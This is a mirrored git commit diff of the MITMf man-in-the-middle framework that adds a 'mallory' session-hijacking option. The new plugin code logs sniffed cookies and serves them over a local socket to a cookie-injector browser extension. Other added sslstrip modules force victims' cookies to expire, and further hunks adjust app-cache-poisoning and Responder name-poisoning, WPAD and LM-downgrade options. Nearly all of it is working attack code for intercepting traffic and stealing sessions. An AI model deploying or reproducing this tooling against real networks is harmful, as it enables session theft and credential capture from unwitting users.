mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-08 05:51:48 -07:00
added mallory option for session hijacking
This commit is contained in:
parent
32bd4b64e4
commit
ebf6af1da9
10 changed files with 246 additions and 15 deletions
|
@ -4,10 +4,10 @@
|
|||
; generic settings for tampering engine
|
||||
|
||||
enabled=True
|
||||
tamper_class=libs.AppCachePoisonClass
|
||||
tamper_class=libs.sslstripkoto.AppCachePoisonClass
|
||||
;all settings below are specific for AppCachePoison
|
||||
|
||||
templates_path=config_files/app_cache_poison_templates
|
||||
templates_path=config/app_cache_poison_templates
|
||||
;enable_only_in_useragents=Chrome|Firefox
|
||||
|
||||
; when visiting first url matching following expression we will embed iframes with all tamper URLs
|
||||
|
|
|
@ -61,9 +61,7 @@ if HTMLToServe == None:
|
|||
HTMLToServe = ''
|
||||
|
||||
if len(NumChal) is not 16:
|
||||
print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
||||
|
||||
def IsOsX():
|
||||
Os_version = sys.platform
|
||||
|
@ -2504,7 +2502,7 @@ def start_responder(options, ip_address):
|
|||
if AnalyzeMode:
|
||||
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n'
|
||||
|
||||
start_message = "Respoder will redirect requests to: %s\n" % ip_address
|
||||
start_message = "Responder will redirect requests to: %s\n" % ip_address
|
||||
start_message += "Challenge set: %s\n" % NumChal
|
||||
start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off
|
||||
start_message += "WPAD script loaded: %s\n" % WPAD_Script
|
||||
|
|
|
@ -26,13 +26,13 @@ class ResponseTampererFactory:
|
|||
|
||||
_instance = None
|
||||
|
||||
_default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"}
|
||||
_default_config = {"enabled": False, "tamper_class": "libs.sslstripkoto.DummyResponseTamperer"}
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def createTamperer(configFile):
|
||||
logging.debug(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
||||
logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
||||
config = ResponseTampererFactory._default_config.copy()
|
||||
if configFile:
|
||||
config.update(ResponseTampererFactory.parseConfig(configFile))
|
||||
|
|
106
libs/sslstripplus/CookieCleaner.py
Normal file
106
libs/sslstripplus/CookieCleaner.py
Normal file
|
@ -0,0 +1,106 @@
|
|||
# Copyright (c) 2004-2011 Moxie Marlinspike
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import string
|
||||
|
||||
class CookieCleaner:
|
||||
'''This class cleans cookies we haven't seen before. The basic idea is to
|
||||
kill sessions, which isn't entirely straight-forward. Since we want this to
|
||||
be generalized, there's no way for us to know exactly what cookie we're trying
|
||||
to kill, which also means we don't know what domain or path it has been set for.
|
||||
|
||||
The rule with cookies is that specific overrides general. So cookies that are
|
||||
set for mail.foo.com override cookies with the same name that are set for .foo.com,
|
||||
just as cookies that are set for foo.com/mail override cookies with the same name
|
||||
that are set for foo.com/
|
||||
|
||||
The best we can do is guess, so we just try to cover our bases by expiring cookies
|
||||
in a few different ways. The most obvious thing to do is look for individual cookies
|
||||
and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
|
||||
set by Javascript instead of a Set-Cookie header, and if we block those the site
|
||||
will think cookies are disabled in the browser. So we do the expirations and whitlisting
|
||||
based on client,server tuples. The first time a client hits a server, we kill whatever
|
||||
cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
|
||||
|
||||
'''
|
||||
|
||||
_instance = None
|
||||
|
||||
def getInstance():
|
||||
if CookieCleaner._instance == None:
|
||||
CookieCleaner._instance = CookieCleaner()
|
||||
|
||||
return CookieCleaner._instance
|
||||
|
||||
getInstance = staticmethod(getInstance)
|
||||
|
||||
def __init__(self):
|
||||
self.cleanedCookies = set();
|
||||
self.enabled = False
|
||||
|
||||
def setEnabled(self, enabled):
|
||||
self.enabled = enabled
|
||||
|
||||
def isClean(self, method, client, host, headers):
|
||||
if method == "POST": return True
|
||||
if not self.enabled: return True
|
||||
if not self.hasCookies(headers): return True
|
||||
|
||||
return (client, self.getDomainFor(host)) in self.cleanedCookies
|
||||
|
||||
def getExpireHeaders(self, method, client, host, headers, path):
|
||||
domain = self.getDomainFor(host)
|
||||
self.cleanedCookies.add((client, domain))
|
||||
|
||||
expireHeaders = []
|
||||
|
||||
for cookie in headers['cookie'].split(";"):
|
||||
cookie = cookie.split("=")[0].strip()
|
||||
expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
|
||||
expireHeaders.extend(expireHeadersForCookie)
|
||||
|
||||
return expireHeaders
|
||||
|
||||
def hasCookies(self, headers):
|
||||
return 'cookie' in headers
|
||||
|
||||
def getDomainFor(self, host):
|
||||
hostParts = host.split(".")
|
||||
return "." + hostParts[-2] + "." + hostParts[-1]
|
||||
|
||||
def getExpireCookieStringFor(self, cookie, host, domain, path):
|
||||
pathList = path.split("/")
|
||||
expireStrings = list()
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
|
||||
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
|
||||
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
if len(pathList) > 2:
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||
domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||
host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
return expireStrings
|
||||
|
||||
|
28
libs/sslstripplus/DnsCache.py
Normal file
28
libs/sslstripplus/DnsCache.py
Normal file
|
@ -0,0 +1,28 @@
|
|||
|
||||
class DnsCache:
|
||||
|
||||
'''
|
||||
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
|
||||
'''
|
||||
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
self.cache = {}
|
||||
|
||||
def cacheResolution(self, host, address):
|
||||
self.cache[host] = address
|
||||
|
||||
def getCachedAddress(self, host):
|
||||
if host in self.cache:
|
||||
return self.cache[host]
|
||||
|
||||
return None
|
||||
|
||||
def getInstance():
|
||||
if DnsCache._instance == None:
|
||||
DnsCache._instance = DnsCache()
|
||||
|
||||
return DnsCache._instance
|
||||
|
||||
getInstance = staticmethod(getInstance)
|
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
|
@ -0,0 +1,44 @@
|
|||
# Copyright (c) 2004-2009 Moxie Marlinspike
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
def __init__(self, command, uri, postData, headers, client):
|
||||
self.command = command
|
||||
self.uri = uri
|
||||
self.postData = postData
|
||||
self.headers = headers
|
||||
self.client = client
|
||||
|
||||
def buildProtocol(self, addr):
|
||||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
logging.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
logging.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
self.client.finish()
|
||||
|
|
@ -40,6 +40,25 @@ class URLMonitor:
|
|||
|
||||
return (client,url) in self.strippedURLs
|
||||
|
||||
def writeClientLog(self, client, headers, message):
|
||||
if not os.path.exists("./logs"):
|
||||
os.makedirs("./logs")
|
||||
|
||||
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
|
||||
|
||||
try:
|
||||
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
|
||||
except KeyError:
|
||||
log_message = "#Log file for %s\n" % client.getClientIP()
|
||||
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(log_message + message + "\n")
|
||||
log_file.close()
|
||||
else:
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(message + "\n")
|
||||
log_file.close()
|
||||
|
||||
def getSecurePort(self, client, url):
|
||||
if (client,url) in self.strippedURLs:
|
||||
return self.strippedURLPorts[(client,url)]
|
||||
|
|
|
@ -2,7 +2,6 @@ from plugins.plugin import Plugin
|
|||
from libs.sslstripkoto.ResponseTampererFactory import ResponseTampererFactory
|
||||
#import threading
|
||||
|
||||
|
||||
class AppCachePlugin(Plugin):
|
||||
name = "App Cache Poison"
|
||||
optname = "appoison"
|
||||
|
@ -15,4 +14,4 @@ class AppCachePlugin(Plugin):
|
|||
self.config_file = "./config/app_cache_poison.cfg"
|
||||
|
||||
print "[*] App Cache Poison plugin online"
|
||||
ResponseTampererFactory.buildTamperer(self.config_file)
|
||||
ResponseTampererFactory().buildTamperer(self.config_file)
|
||||
|
|
|
@ -44,4 +44,4 @@ class Responder(Plugin):
|
|||
options.add_argument('--wpad', dest="WPAD_On_Off", default=False, action="store_true", help = "Set this to start the WPAD rogue proxy server. Default value is False")
|
||||
options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False")
|
||||
options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False")
|
||||
options.add_argument('--verbose', dest="Verbose", action="store_true", help="More verbose")
|
||||
options.add_argument('--verbose', dest="Verbose", default= False, action="store_true", help="More verbose")
|
|
@ -3,11 +3,14 @@
|
|||
from plugins.plugin import Plugin
|
||||
from libs.publicsuffix import PublicSuffixList
|
||||
from urlparse import urlparse
|
||||
import threading
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import logging
|
||||
import sqlite3
|
||||
import json
|
||||
import socket
|
||||
|
||||
class SessionHijacker(Plugin):
|
||||
name = "Session Hijacker"
|
||||
|
@ -21,9 +24,11 @@ class SessionHijacker(Plugin):
|
|||
self.options = options
|
||||
self.psl = PublicSuffixList()
|
||||
self.firefox = options.firefox
|
||||
self.mallory = options.mallory
|
||||
self.save_dir = "./logs"
|
||||
self.seen_hosts = {}
|
||||
self.sql_conns = {}
|
||||
self.sessions = []
|
||||
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
|
||||
|
||||
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
|
||||
|
@ -38,6 +43,11 @@ class SessionHijacker(Plugin):
|
|||
if not os.path.exists("./logs"):
|
||||
os.makedirs("./logs")
|
||||
|
||||
if self.mallory:
|
||||
t = threading.Thread(name='mallory_server', target=self.mallory_server, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
print "[*] Session Hijacker plugin online"
|
||||
|
||||
def cleanHeaders(self, request): # Client => Server
|
||||
|
@ -45,6 +55,9 @@ class SessionHijacker(Plugin):
|
|||
client_ip = request.getClientIP()
|
||||
|
||||
if 'cookie' in headers:
|
||||
|
||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||
|
||||
if self.firefox:
|
||||
url = "http://" + headers['host'] + request.getPathFromUri()
|
||||
for cookie in headers['cookie'].split(';'):
|
||||
|
@ -52,9 +65,10 @@ class SessionHijacker(Plugin):
|
|||
cname = str(cookie)[0:eq].strip()
|
||||
cvalue = str(cookie)[eq+1:].strip()
|
||||
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
||||
else:
|
||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||
|
||||
if self.mallory:
|
||||
self.sessions.append((headers['host'], headers['cookie']))
|
||||
logging.info("%s Sent cookie to browser extension" % client_ip)
|
||||
|
||||
#def handleHeader(self, request, key, value): # Server => Client
|
||||
# if 'set-cookie' in request.client.headers:
|
||||
|
@ -66,6 +80,28 @@ class SessionHijacker(Plugin):
|
|||
# else:
|
||||
# logging.info(message)
|
||||
|
||||
def mallory_server(self):
|
||||
host = ''
|
||||
port = 20666
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server.bind((host,port))
|
||||
server.listen(1)
|
||||
while True:
|
||||
client, addr = server.accept()
|
||||
if addr[0] != "127.0.0.1":
|
||||
client.send("Hacked By China!")
|
||||
client.close()
|
||||
continue
|
||||
request = client.recv(8192)
|
||||
request = request.split('\n')
|
||||
path = request[0].split()[1]
|
||||
client.send("HTTP/1.0 200 OK\r\n")
|
||||
client.send("Content-Type: text/html\r\n\r\n")
|
||||
if path == "/":
|
||||
client.send(json.dumps(self.sessions))
|
||||
client.close()
|
||||
|
||||
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
|
||||
|
||||
session_dir=self.save_dir + "/" + ip
|
||||
|
@ -114,6 +150,7 @@ class SessionHijacker(Plugin):
|
|||
|
||||
def add_options(self, options):
|
||||
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
||||
options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension')
|
||||
|
||||
def finish(self):
|
||||
if self.firefox:
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue